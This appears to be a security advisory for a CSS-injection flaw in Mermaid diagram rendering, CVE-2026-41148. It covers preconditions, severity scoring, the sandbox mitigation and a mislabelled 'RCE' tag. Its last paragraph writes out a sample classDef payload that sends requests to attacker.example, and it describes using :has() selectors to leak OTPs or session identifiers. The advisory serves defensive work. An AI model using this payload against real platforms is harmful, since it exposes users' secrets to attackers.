Mermaid CVE-2026-41148

Exploitation requires that the target application renders Mermaid diagrams from user-controlled input and has not configured securityLevel: "sandbox" (the sandbox setting is non-default and must be explicitly enabled). The attacker must be able to submit a diagram containing a classDef directive - this affects stateDiagram-v2 and any other diagram type that routes through createCssStyles. The victim must view the page containing the rendered diagram (CVSS UI:P). Exploitation is strictly limited to CSS-level impact: no JavaScript execution is possible via this vector. Exfiltration via url() callbacks requires the victim's browser to make outbound HTTP requests for CSS background resources, which all major browsers do by default. The sandbox workaround (securityLevel: sandbox) is a complete mitigation as it renders the diagram in an isolated <iframe>.

The CVSS 4.0 score of 5.3 (Medium) correctly characterizes the bounded impact: the attack is network-accessible with no authentication required and low complexity, but requires a victim to view the rendered diagram (UI:P), and the direct impact is limited to low-integrity modification of the vulnerable system and low subsequent-system integrity/confidentiality effects. EPSS at 0.06% (18th percentile) indicates low observed exploitation probability, consistent with no KEV listing. However, a functional public PoC with a live demo is confirmed, which meaningfully lowers the bar for exploitation beyond what the low EPSS implies - EPSS reflects historical scanning patterns, not manual exploitation scenarios. The intelligence feed tags this as 'RCE', which appears to be a mislabeling; confirmed impact is CSS injection with no JavaScript execution pathway. Real-world risk is highest for platforms that render user-supplied Mermaid diagrams without sandboxing (wikis, documentation sites, collaborative tools), where CSS :has() side-channels can silently exfiltrate visible DOM content to attacker-controlled servers.

An attacker submits a Mermaid diagram containing classDef x }*{ background-image: url("https://attacker.example/track")} to a platform that renders user-supplied diagrams (e.g., a project wiki or docs site). When a victim user views the page, Mermaid writes the unsanitized value to style.innerHTML, injecting a wildcard CSS rule that triggers outbound HTTP requests to the attacker's server; combined with CSS :has() selectors, the attacker can encode visible DOM content (such as OTP values or session identifiers) into the request URL. A functional public PoC and live demo are confirmed in GHSA-xcj9-5m2h-648r.